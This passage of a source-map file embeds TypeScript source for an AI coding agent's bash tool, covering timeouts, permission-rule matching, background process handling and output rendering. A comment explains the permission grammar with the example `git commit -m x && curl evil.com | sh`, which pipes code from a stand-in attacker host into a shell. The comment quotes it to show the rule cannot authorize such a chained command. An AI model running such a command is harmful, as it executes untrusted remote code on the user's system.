AE,MAAM,EACX,OAAO,EAAE;QACR,MAAM,EAAE,CAAC,IAAI,EAAE,MAAM,KAAK,IAAI,CAAC;QAC/B,GAAG,CAAC,EAAE,MAAM,CAAC,UAAU,CAAC;KACxB,KACG,OAAO,CAAC,qBAAqB,CAAC,CAAC;CACpC;AAED,MAAM,WAAW,qBAAqB;IACrC,GAAG,EAAE,MAAM,GAAG,SAAS,CAAC;IACxB,MAAM,EAAE,OAAO,CAAC,MAAM,GAAG,IAAI,CAAC,CAAC;CAC/B;AAED,iEAAiE;AACjE,wBAAgB,0BAA0B,CAAC,SAAS,EAAE,MAAM,EAAE,kBAAkB,EAAE,MAAM,WAAW,GAAG,cAAc,CA8FnH;AAED;;;;;GAKG;AACH,wBAAgB,yBAAyB,CAAC,OAAO,CAAC,EAAE;IAAE,SAAS,CAAC,EAAE,MAAM,CAAA;CAAE,GAAG,cAAc,CAE1F;AAED,MAAM,WAAW,gBAAgB;IAChC,OAAO,EAAE,MAAM,CAAC;IAChB,GAAG,EAAE,MAAM,CAAC;IACZ,GAAG,EAAE,MAAM,CAAC,UAAU,CAAC;CACvB;AAED,MAAM,MAAM,aAAa,GAAG,CAAC,OAAO,EAAE,gBAAgB,KAAK,gBAAgB,CAAC;AA8B5E,MAAM,WAAW,eAAe;IAC/B,oEAAoE;IACpE,UAAU,CAAC,EAAE,cAAc,CAAC;IAC5B,mFAAmF;IACnF,aAAa,CAAC,EAAE,MAAM,CAAC;IACvB,iDAAiD;IACjD,SAAS,CAAC,EAAE,MAAM,CAAC;IACnB,sFAAsF;IACtF,wBAAwB,CAAC,EAAE,OAAO,CAAC;IACnC,2DAA2D;IAC3D,SAAS,CAAC,EAAE,aAAa,CAAC;IAC1B;;;;OAIG;IACH,kBAAkB,CAAC,EAAE,uBAAuB,CAAC;CAC7C;AAmBD,wBAAgB,eAAe,CAC9B,IAAI,EAAE;IAAE,OAAO,CAAC,EAAE,MAAM,CAAC;IAAC,OAAO,CAAC,EAAE,MAAM,CAAC;IAAC,MAAM,CAAC,EAAE,MAAM,CAAC;IAAC,IAAI,CAAC,EAAE,OAAO,CAAA;CAAE,GAAG,SAAS,EACzF,MAAM,EAAE,MAAM,GACZ,MAAM,CAuBR;AA4ED,MAAM,WAAW,eAAe;IAC/B,IAAI,EAAE,MAAM,CAAC;IACb,KAAK,EAAE,MAAM,CAAC;IACd,SAAS,EAAE,MAAM,CAAC;IAClB,MAAM,EAAE,MAAM,CAAC;IACf,aAAa,EAAE,MAAM,CAAC;IACtB,gBAAgB,CAAC,EAAE,SAAS,MAAM,EAAE,CAAC;IACrC,cAAc,EAAE,MAAM,CAAC;CACvB;AAED,wBAAgB,yBAAyB,CACxC,GAAG,EAAE,MAAM,EACX,MAAM,EAAE,eAAe,EACvB,OAAO,CAAC,EAAE,eAAe,GACvB,kBAAkB,CAAC,OAAO,UAAU,EAAE,eAAe,GAAG,SAAS,CAAC,CA6QpE;AAYD,wBAAgB,wBAAwB,CACvC,GAAG,EAAE,MAAM,EACX,OAAO,CAAC,EAAE,eAAe,GACvB,kBAAkB,CAAC,OAAO,UAAU,EAAE,eAAe,GAAG,SAAS,CAAC,CAEpE;AAED,wBAAgB,cAAc,CAAC,GAAG,EAAE,MAAM,EAAE,OAAO,CAAC,EAAE,eAAe,GAAG,SAAS,CAAC,OAAO,UAAU,CAAC,CAQnG","sourcesContent":["import { constants } from \"node:fs\";\nimport { access as fsAccess } from \"node:fs/promises\";\nimport { Container, Text, truncateToWidth } from \"@earendil-works/pi-tui\";\nimport { type AgentTool, type AgentToolResult, ToolExecutionError } from \"apex-code-agent-core\";\nimport { spawn } from \"child_process\";\nimport { type Static, Type } from \"typebox\";\nimport { formatHiddenLines, previewLineCount } from \"../../modes/interactive/components/keybinding-hints.ts\";\nimport { truncateToVisualLines } from \"../../modes/interactive/components/visual-truncate.ts\";\nimport { theme } from \"../../modes/interactive/theme/theme.ts\";\nimport { waitForChildProcess } from \"../../utils/child-process.ts\";\nimport {\n\tgetShellConfig,\n\tgetShellEnv,\n\tkillProcessTree,\n\ttype ShellConfig,\n\ttrackDetachedChildPid,\n\tuntrackDetachedChildPid,\n} from \"../../utils/shell.ts\";\nimport { setApexEnvironment } from \"../environment.ts\";\nimport { getExperimentalToolSampling } from \"../experimental.ts\";\nimport type { ExtensionContext, ToolRenderResultOptions } from \"../extensions/types.ts\";\nimport { type BackgroundShellRegistry, createBackgroundShellRegistry } from \"./background-shell.ts\";\nimport { classifyBashCommand } from \"./bash-command-segments.ts\";\nimport { type ApexToolDefinition, type PermissionSpec, toolUnion } from \"./contract.ts\";\nimport { OutputAccumulator } from \"./output-accumulator.ts\";\nimport { getTextOutput, invalidArgText, str } from \"./render-utils.ts\";\nimport { parseShellOperation } from \"./shell-operation.ts\";\nimport { wrapToolDefinition } from \"./tool-definition-wrapper.ts\";\nimport { DEFAULT_MAX_BYTES, DEFAULT_MAX_LINES, formatSize, type TruncationResult } from \"./truncate.ts\";\n\nconst MAX_TIMEOUT_MS = 2_147_483_647;\nconst MAX_TIMEOUT_SECONDS = MAX_TIMEOUT_MS / 1000;\n\n/**\n * Applied when a call names no `timeout`. One hour, which is 2.16x the slowest full suite run\n * recorded for this repository on the host ADR 0035 names. A default that merely cleared the\n * measurement would kill a real build on a slower machine, and a killed build presents as a\n * failing build rather than as a timeout, which is the expensive mistake.\n */\nexport const DEFAULT_BASH_TIMEOUT_SECONDS = 3600;\n\nfunction resolveTimeoutMs(timeout: number | undefined): number {\n\tif (timeout === undefined) return DEFAULT_BASH_TIMEOUT_SECONDS * 1000;\n\tif (!Number.isFinite(timeout) || timeout <= 0) {\n\t\tthrow new Error(\"Invalid timeout: must be a finite number of seconds\");\n\t}\n\n\tconst timeoutMs = timeout * 1000;\n\tif (timeoutMs > MAX_TIMEOUT_MS) {\n\t\tthrow new Error(`Invalid timeout: maximum is ${MAX_TIMEOUT_SECONDS} seconds`);\n\t}\n\treturn timeoutMs;\n}\n\nconst bashSchemaProperties = {\n\tcommand: Type.String({ description: \"Shell command to execute\" }),\n\ttimeout: Type.Optional(\n\t\tType.Number({\n\t\t\tdescription: `Timeout in seconds (default ${DEFAULT_BASH_TIMEOUT_SECONDS}; use background for longer work)`,\n\t\t}),\n\t),\n\tbackground: Type.Optional(\n\t\tType.Boolean({\n\t\t\tdescription:\n\t\t\t\t\"Run in the background and return a handle immediately. Retrieve with { handle }; kill with { handle, kill: true }.\",\n\t\t}),\n\t),\n\thandle: Type.String({\n\t\tdescription:\n\t\t\t\"Handle from a background launch. Supply it alone to retrieve output and status; add kill: true to terminate.\",\n\t}),\n\tkill: Type.Boolean({\n\t\tdescription: \"Set to true only with a background handle to terminate its command; otherwise omit or use false.\",\n\t}),\n};\n\nconst bashSchema = toolUnion(\n\t[\n\t\tType.Object({\n\t\t\tcommand: Type.String(),\n\t\t\ttimeout: Type.Optional(Type.Number()),\n\t\t\tbackground: Type.Optional(Type.Boolean()),\n\t\t\tkill: Type.Optional(Type.Literal(false)),\n\t\t}),\n\t\tType.Object({ handle: Type.String(), kill: Type.Optional(Type.Literal(false)) }),\n\t\tType.Object({ handle: Type.String(), kill: Type.Literal(true) }),\n\t],\n\tbashSchemaProperties,\n);\n\nexport const bashToolSystemPromptContribution = {\n\tsnippet: \"Execute bash commands (ls, grep, find, etc.)\",\n\tguidelines: [\"You can inspect PI_* environment variables for current model and session details.\"],\n} as const;\n\nexport type BashToolInput = Static<typeof bashSchema>;\n\nfunction normalizeSegment(text: string): string {\n\treturn text.trim().replace(/\\s+/g, \" \");\n}\n\n/**\n * A rule matches a segment either by exact text, or — when it ends with the `:*`\n * suffix convention (e.g. `git commit:*`) — by prefix: the segment must equal the\n * prefix or start with the prefix followed by a space. `git commit:*` therefore\n * matches `git commit` and `git commit -m x`, but not `git commitment` (word\n * boundary enforced) and not an unrelated segment in the same chained command.\n */\nfunction hasGrammarSensitiveStructure(value: string): boolean {\n\treturn /[\"'\\\\\\t\\n#]/.test(value);\n}\n\nfunction segmentMatchesRule(segment: string, ruleContent: string): boolean {\n\tconst sensitive = hasGrammarSensitiveStructure(segment) || hasGrammarSensitiveStructure(ruleContent);\n\tconst normalizedSegment = sensitive ? segment : normalizeSegment(segment);\n\tconst normalizedRule = sensitive ? ruleContent : normalizeSegment(ruleContent);\n\tif (normalizedRule.endsWith(\":*\")) {\n\t\tconst prefix = normalizedRule.slice(0, -2).trim();\n\t\tif (!prefix) return false;\n\t\treturn normalizedSegment === prefix || normalizedSegment.startsWith(`${prefix} `);\n\t}\n\treturn normalizedSegment === normalizedRule;\n}\n\n/**\n * bash's permission grammar (ADR 0004). A rule authorizes a call only if the\n * command decomposes cleanly into segments (never on \"unparseable\") and **every**\n * segment matches — a narrow rule like `git commit:*` can never authorize\n * `git commit -m x && curl evil.com | sh`, because `curl evil.com` and `sh` are\n * separate segments that do not match it.\n *\n * `ruleForCall` only generalizes a single-segment command: a multi-segment chain\n * has no single non-trivial rule that captures exactly what it did, and returning\n * one would either over-authorize (if loose) or be indistinguishable from an exact\n * match (if not) — `null` correctly forces `ask` for \"always allow this\" on a chain.\n */\n/**\n * Reserved rule content for retrieve/kill calls on background handles. These\n * perform no new execution -- the command they operate on was already gated at\n * launch -- so `defaultBehaviorFor` allows them when no rule matches, while a\n * `Bash(background-handle)` rule (allow *or* deny) still governs them\n * explicitly.\n */\nconst BACKGROUND_HANDLE_RULE = \"background-handle\";\n\nexport function createBashPermissionSpec(): PermissionSpec<typeof bashSchema> {\n\treturn {\n\t\tdefaultBehavior: \"ask\",\n\t\tdefaultBehaviorFor(params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return undefined;\n\t\t\treturn parsed.operation.kind === \"run\" ? undefined : \"allow\";\n\t\t},\n\t\tmatches(ruleContent, params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\t// An unparseable call is never authorized by an allow rule; `isUnknown`\n\t\t\t// keeps it out of them and pulls every deny rule onto it.\n\t\t\tif (!parsed.ok) return false;\n\t\t\tif (parsed.operation.kind !== \"run\") return ruleContent === BACKGROUND_HANDLE_RULE;\n\t\t\tconst classification = classifyBashCommand(parsed.operation.command);\n\t\t\treturn (\n\t\t\t\tclassification.type === \"segments\" &&\n\t\t\t\tclassification.segments.every((segment) => segmentMatchesRule(segment, ruleContent))\n\t\t\t);\n\t\t},\n\t\tmatchesDeny(ruleContent, params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return false;\n\t\t\tif (parsed.operation.kind !== \"run\") return ruleContent === BACKGROUND_HANDLE_RULE;\n\t\t\tconst classification = classifyBashCommand(parsed.operation.command);\n\t\t\treturn (\n\t\t\t\tclassification.type === \"segments\" &&\n\t\t\t\tclassification.segments.some((segment) => segmentMatchesRule(segment, ruleContent))\n\t\t\t);\n\t\t},\n\t\tisUnknown(params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return true;\n\t\t\treturn parsed.operation.kind === \"run\" && classifyBashCommand(parsed.operation.command).type !== \"segments\";\n\t\t},\n\t\tdescribe(ruleContent) {\n\t\t\tif (ruleContent === BACKGROUND_HANDLE_RULE) {\n\t\t\t\treturn \"Retrieve or kill background shell commands\";\n\t\t\t}\n\t\t\treturn `Run bash commands matching \"${ruleContent}\"`;\n\t\t},\n\t\tpreviewCall(params) {\n\t\t\t// The command string is the entire effect being authorized. There is\n\t\t\t// nothing to read and nothing to summarise: showing it exactly, including\n\t\t\t// whitespace the rule grammar treats as significant, is the preview.\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return { kind: \"summary\", lines: [parsed.reason] };\n\t\t\tif (parsed.operation.kind === \"kill\") {\n\t\t\t\treturn { kind: \"summary\", lines: [`Kill background shell command ${parsed.operation.handle}`] };\n\t\t\t}\n\t\t\tif (parsed.operation.kind === \"retrieve\") {\n\t\t\t\treturn {\n\t\t\t\t\tkind: \"summary\",\n\t\t\t\t\tlines: [`Retrieve output from background shell command ${parsed.operation.handle}`],\n\t\t\t\t};\n\t\t\t}\n\t\t\treturn { kind: \"summary\", lines: [parsed.operation.command] };\n\t\t},\n\t\truleForCall(params) {\n\t\t\tconst parsed = parseShellOperation(params);\n\t\t\tif (!parsed.ok) return null;\n\t\t\tif (parsed.operation.kind !== \"run\") {\n\t\t\t\treturn BACKGROUND_HANDLE_RULE;\n\t\t\t}\n\t\t\tconst classification = classifyBashCommand(parsed.operation.command);\n\t\t\tif (classification.type !== \"segments\" || classification.segments.length !== 1) return null;\n\t\t\tconst segment = classification.segments[0];\n\t\t\treturn hasGrammarSensitiveStructure(segment) ? segment : normalizeSegment(segment);\n\t\t},\n\t};\n}\n\nexport interface BashExecutionFacts {\n\tcwd: string;\n\texecutable?: string;\n\targv?: string[];\n\texitCode: number | null;\n}\n\nexport interface BashToolDetails {\n\ttruncation?: TruncationResult;\n\tfullOutputPath?: string;\n\t/** Facts observed at the source execution boundary; never rendered as output. */\n\texecution?: BashExecutionFacts;\n}\n\n/**\n * Pluggable operations for the bash tool.\n * Override these to delegate command execution to remote systems (for example SSH).\n */\nexport interface BashOperations {\n\t/**\n\t * Execute a command and stream output.\n\t * @param command The command to execute\n\t * @param cwd Working directory\n\t * @param options Execution options\n\t * @returns Promise resolving to exit code (null if killed)\n\t */\n\texec: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tsignal?: AbortSignal;\n\t\t\ttimeout?: number;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<{ exitCode: number | null; executable?: string; argv?: string[] }>;\n\t/**\n\t * Optional. Spawn a command that outlives the call, returning as soon as the\n\t * process exists. Backends that cannot background leave this undefined, and\n\t * the bash tool then rejects `background: true` with a model-readable error\n\t * rather than degrading (spec 2026-08-31-background-shell.md).\n\t */\n\tspawnBackground?: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<BashBackgroundProcess>;\n}\n\nexport interface BashBackgroundProcess {\n\tpid: number | undefined;\n\texited: Promise<number | null>;\n}\n\n/** Shared process execution used by the built-in shell tools. */\nexport function createLocalShellOperations(shellName: string, resolveShellConfig: () => ShellConfig): BashOperations {\n\treturn {\n\t\texec: async (command, cwd, { onData, signal, timeout, env }) => {\n\t\t\tconst timeoutMs = resolveTimeoutMs(timeout);\n\t\t\tif (signal?.aborted) {\n\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t}\n\t\t\tconst shellConfig = resolveShellConfig();\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute ${shellName} commands.`);\n\t\t\t}\n\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = spawn(shellConfig.shell, commandFromStdin ? shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => {});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tlet timedOut = false;\n\t\t\tlet timeoutHandle: NodeJS.Timeout | undefined;\n\t\t\tconst onAbort = () => {\n\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t};\n\n\t\t\ttry {\n\t\t\t\ttimeoutHandle = setTimeout(() => {\n\t\t\t\t\ttimedOut = true;\n\t\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t\t}, timeoutMs);\n\t\t\t\t// Stream stdout and stderr.\n\t\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\t\t// Handle abort signal by killing the entire process tree.\n\t\t\t\tif (signal) {\n\t\t\t\t\tif (signal.aborted) onAbort();\n\t\t\t\t\telse signal.addEventListener(\"abort\", onAbort, { once: true });\n\t\t\t\t}\n\t\t\t\t// Handle shell spawn errors and wait for the process to terminate without hanging\n\t\t\t\t// on inherited stdio handles held by detached descendants.\n\t\t\t\tconst exitCode = await waitForChildProcess(child);\n\t\t\t\tif (signal?.aborted) {\n\t\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t\t}\n\t\t\t\tif (timedOut) {\n\t\t\t\t\tthrow new Error(`timeout:${timeoutMs / 1000}`);\n\t\t\t\t}\n\t\t\t\treturn {\n\t\t\t\t\texitCode,\n\t\t\t\t\texecutable: shellConfig.shell,\n\t\t\t\t\targv: commandFromStdin ? [...shellConfig.args] : [...shellConfig.args, command],\n\t\t\t\t};\n\t\t\t} finally {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t\tif (timeoutHandle) clearTimeout(timeoutHandle);\n\t\t\t\tif (signal) signal.removeEventListener(\"abort\", onAbort);\n\t\t\t}\n\t\t},\n\t\tspawnBackground: async (command, cwd, { onData, env }) => {\n\t\t\tconst shellConfig = resolveShellConfig();\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute ${shellName} commands.`);\n\t\t\t}\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = spawn(shellConfig.shell, commandFromStdin ? shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => {});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\tconst exited = waitForChildProcess(child).finally(() => {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t});\n\t\t\treturn { pid: child.pid, exited };\n\t\t},\n\t};\n}\n\n/**\n * Create bash operations using pi's built-in local shell execution backend.\n *\n * This is useful for extensions that intercept user_bash and still want pi's\n * standard local shell behavior while wrapping or rewriting commands.\n */\nexport function createLocalBashOperations(options?: { shellPath?: string }): BashOperations {\n\treturn createLocalShellOperations(\"bash\", () => getShellConfig(options?.shellPath));\n}\n\nexport interface BashSpawnContext {\n\tcommand: string;\n\tcwd: string;\n\tenv: NodeJS.ProcessEnv;\n}\n\nexport type BashSpawnHook = (context: BashSpawnContext) => BashSpawnContext;\n\nfunction resolveSpawnContext(\n\tcommand: string,\n\tcwd: string,\n\tspawnHook: BashSpawnHook | undefined,\n\texposeSessionEnvironment: boolean,\n\tctx: ExtensionContext | undefined,\n): BashSpawnContext {\n\tconst env = { ...getShellEnv() };\n\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_SESSION_FILE\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_MODEL\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", undefined, env);\n\tif (exposeSessionEnvironment && ctx) {\n\t\tconst model = ctx.model;\n\t\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", ctx.sessionManager.getSessionId(), env);\n\t\tconst sessionFile = ctx.sessionManager.getSessionFile();\n\t\tif (sessionFile) setApexEnvironment(\"APEX_CODE_SESSION_FILE\", sessionFile, env);\n\t\tif (model) {\n\t\t\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", model.provider, env);\n\t\t\tsetApexEnvironment(\"APEX_CODE_MODEL\", model.id, env);\n\t\t}\n\t\tif (ctx.thinkingLevel) setApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", ctx.thinkingLevel, env);\n\t}\n\tconst baseContext: BashSpawnContext = { command, cwd, env };\n\treturn spawnHook ? spawnHook(baseContext) : baseContext;\n}\n\nexport interface BashToolOptions {\n\t/** Custom operations for command execution. Default: local shell */\n\toperations?: BashOperations;\n\t/** Command prefix prepended to every command (for example shell setup commands) */\n\tcommandPrefix?: string;\n\t/** Optional explicit shell path from settings */\n\tshellPath?: string;\n\t/** Expose current Pi session metadata as PI_* environment variables. Default: true */\n\texposeSessionEnvironment?: boolean;\n\t/** Hook to adjust command, cwd, or env before execution */\n\tspawnHook?: BashSpawnHook;\n\t/**\n\t * Background-shell registry (spec 2026-08-31-background-shell.md). Absent\n\t * gets a per-definition registry; the session passes its own so background\n\t * children are killed when the session disposes.\n\t */\n\tbackgroundRegistry?: BackgroundShellRegistry;\n}\n\nconst BASH_PREVIEW_LINES = 5;\nconst BASH_UPDATE_THROTTLE_MS = 100;\n\ntype BashResultRenderState = {\n\tcachedWidth: number | undefined;\n\tcachedLines: string[] | undefined;\n\tcachedSkipped: number | undefined;\n};\n\nclass BashResultRenderComponent extends Container {\n\tstate: BashResultRenderState = {\n\t\tcachedWidth: undefined,\n\t\tcachedLines: undefined,\n\t\tcachedSkipped: undefined,\n\t};\n}\n\nexport function formatShellCall(\n\targs: { command?: string; timeout?: number; handle?: string; kill?: boolean } | undefined,\n\tprompt: string,\n): string {\n\tconst invalid = () => theme.fg(\"toolTitle\", theme.bold(`${prompt} ${invalidArgText(theme)}`));\n\tconst command = str(args?.command);\n\tconst handle = str(args?.handle);\n\tif (command === null || handle === null) return invalid();\n\n\tconst parsed = parseShellOperation(args ?? {});\n\tif (!parsed.ok) {\n\t\t// Arguments still arriving name no operation yet, so they render as a\n\t\t// placeholder. Anything that already names one and still fails to parse is\n\t\t// rejected at execution, and naming its command would describe something\n\t\t// that never runs.\n\t\tif (!command && !handle) {\n\t\t\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${theme.fg(\"toolOutput\", \"...\")}`));\n\t\t}\n\t\treturn invalid();\n\t}\n\tif (parsed.operation.kind !== \"run\") {\n\t\tconst suffix = parsed.operation.kind === \"kill\" ? \" · kill\" : \"\";\n\t\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${parsed.operation.handle}${suffix}`));\n\t}\n\tconst timeoutSuffix = parsed.operation.timeout ? theme.fg(\"muted\", ` (timeout ${parsed.operation.timeout}s)`) : \"\";\n\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${parsed.operation.command}`)) + timeoutSuffix;\n}\n\nfunction rebuildBashResultRenderComponent(\n\tcomponent: BashResultRenderComponent,\n\tresult: {\n\t\tcontent: Array<{ type: string; text?: string; data?: string; mimeType?: string }>;\n\t\tdetails?: BashToolDetails;\n\t},\n\toptions: ToolRenderResultOptions,\n\tshowImages: boolean,\n): void {\n\tconst state = component.state;\n\tcomponent.clear();\n\n\tlet output = getTextOutput(result as any, showImages).trim();\n\tconst truncation = result.details?.truncation;\n\tconst fullOutputPath = result.details?.fullOutputPath;\n\tif (!options.isPartial && truncation?.truncated && fullOutputPath && output.endsWith(\"]\")) {\n\t\tconst footerStart = output.lastIndexOf(\"\\n\\n[\");\n\t\tif (footerStart !== -1 && output.slice(footerStart).includes(fullOutputPath)) {\n\t\t\toutput = output.slice(0, footerStart).trimEnd();\n\t\t}\n\t}\n\n\tif (output) {\n\t\tconst styledOutput = output\n\t\t\t.split(\"\\n\")\n\t\t\t.map((line) => theme.fg(\"toolOutput\", line))\n\t\t\t.join(\"\\n\");\n\n\t\tif (options.expanded) {\n\t\t\tcomponent.addChild(new Text(`\\n${styledOutput}`, 0, 0));\n\t\t} else {\n\t\t\tcomponent.addChild({\n\t\t\t\trender: (width: number) => {\n\t\t\t\t\tif (state.cachedLines === undefined || state.cachedWidth !== width) {\n\t\t\t\t\t\tlet preview = truncateToVisualLines(styledOutput, BASH_PREVIEW_LINES, width);\n\t\t\t\t\t\tconst shown = previewLineCount(preview.visualLines.length + preview.skippedCount, BASH_PREVIEW_LINES);\n\t\t\t\t\t\tif (shown > preview.visualLines.length) preview = truncateToVisualLines(styledOutput, shown, width);\n\t\t\t\t\t\tstate.cachedLines = preview.visualLines;\n\t\t\t\t\t\tstate.cachedSkipped = preview.skippedCount;\n\t\t\t\t\t\tstate.cachedWidth = width;\n\t\t\t\t\t}\n\t\t\t\t\tif (state.cachedSkipped && state.cachedSkipped > 0) {\n\t\t\t\t\t\tconst hint = formatHiddenLines(state.cachedSkipped, \"earlier\");\n\t\t\t\t\t\treturn [\"\", truncateToWidth(hint, width, \"...\"), ...(state.cachedLines ?? [])];\n\t\t\t\t\t}\n\t\t\t\t\treturn [\"\", ...(state.cachedLines ?? [])];\n\t\t\t\t},\n\t\t\t\tinvalidate: () => {\n\t\t\t\t\tstate.cachedWidth = undefined;\n\t\t\t\t\tstate.cachedLines = undefined;\n\t\t\t\t\tstate.cachedSkipped = undefined;\n\t\t\t\t},\n\t\t\t});\n\t\t}\n\t}\n\n\tif (truncation?.truncated || fullOutputPath) {\n\t\tconst warnings: string[] = [];\n\t\tif (fullOutputPath) {\n\t\t\twarnings.push(`Full output: ${fullOutputPath}`);\n\t\t}\n\t\tif (truncation?.truncated) {\n\t\t\tif (truncation.truncatedBy === \"lines\") {\n\t\t\t\twarnings.push(`Truncated: showing ${truncation.outputLines} of ${truncation.totalLines} lines`);\n\t\t\t} else {\n\t\t\t\twarnings.push(\n\t\t\t\t\t`Truncated: ${truncation.outputLines} lines shown (${formatSize(truncation.maxBytes ?? DEFAULT_MAX_BYTES)} limit)`,\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\tcomponent.addChild(new Text(`\\n${theme.fg(\"warning\", `[${warnings.join(\". \")}]`)}`, 0, 0));\n\t}\n}\n\nexport interface ShellToolConfig {\n\tname: string;\n\tlabel: string;\n\tshellName: string;\n\tprompt: string;\n\tpromptSnippet: string;\n\tpromptGuidelines?: readonly string[];\n\ttempFilePrefix: string;\n}\n\nexport function createShellToolDefinition(\n\tcwd: string,\n\tconfig: ShellToolConfig,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined> {\n\tconst ops = options?.operations ?? createLocalBashOperations({ shellPath: options?.shellPath });\n\tconst commandPrefix = options?.commandPrefix;\n\tconst exposeSessionEnvironment = options?.exposeSessionEnvironment ?? true;\n\tconst spawnHook = options?.spawnHook;\n\tconst registry = options?.backgroundRegistry ?? createBackgroundShellRegistry();\n\n\t// Background handle calls (retrieve and kill) never touch the foreground\n\t// execution path, so the post-hoc escalation offer below is unreachable from\n\t// them by construction; the refusal note in `executeHandleCall` tells the\n\t// model a foreground rerun gets the offer (spec, Non-goals).\n\tconst unknownHandleError = (handle: string) => {\n\t\tconst known = registry.handles();\n\t\treturn new ToolExecutionError(\n\t\t\t`Unknown background handle: ${handle}.${known.length > 0 ? ` Known handles: ${known.join(\", \")}` : \" No background commands have been launched.\"}`,\n\t\t\tundefined,\n\t\t);\n\t};\n\tconst executeHandleCall = async (\n\t\thandleInput: { kind: \"retrieve\"; handle: string } | { kind: \"kill\"; handle: string },\n\t): Promise<AgentToolResult<BashToolDetails | undefined>> => {\n\t\tif (handleInput.kind === \"kill\") {\n\t\t\tconst status = registry.kill(handleInput.handle);\n\t\t\tif (!status) throw unknownHandleError(handleInput.handle);\n\t\t\tconst state = status.running ? \"kill signal sent\" : `already exited (code ${status.exitCode})`;\n\t\t\treturn {\n\t\t\t\tcontent: [{ type: \"text\", text: `[background] ${handleInput.handle}: ${state}` }],\n\t\t\t\tdetails: undefined,\n\t\t\t};\n\t\t}\n\t\tconst retrieved = await registry.retrieve(handleInput.handle);\n\t\tif (!retrieved) throw unknownHandleError(handleInput.handle);\n\t\tconst { status, snapshot } = retrieved;\n\t\tconst elapsed = ((Date.now() - status.startedAt) / 1000).toFixed(1);\n\t\tconst header = status.running\n\t\t\t? `[background] ${handleInput.handle}: running ${elapsed}s`\n\t\t\t: `[background] ${handleInput.handle}: ${status.killed ? \"killed\" : \"exited\"} (code ${status.exitCode}) after ${elapsed}s`;\n\t\tlet text = `${header}\\n\\n${snapshot.content || \"(no output)\"}`;\n\t\tconst truncation = snapshot.truncation;\n\t\tif (truncation.truncated && snapshot.fullOutputPath) {\n\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${truncation.totalLines} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t}\n\t\treturn {\n\t\t\tcontent: [{ type: \"text\", text }],\n\t\t\tdetails: {\n\t\t\t\ttruncation: truncation.truncated ? truncation : undefined,\n\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\texecution: { cwd, exitCode: status.exitCode ?? null },\n\t\t\t} satisfies BashToolDetails,\n\t\t};\n\t};\n\treturn {\n\t\tname: config.name,\n\t\tlabel: config.label,\n\t\tdescription: `Execute a ${config.shellName} command in the current working directory. Returns stdout and stderr. Output is truncated to last ${DEFAULT_MAX_LINES} lines or ${DEFAULT_MAX_BYTES / 1024}KB (whichever is hit first). If truncated, full output is saved to a temp file. Optionally provide a 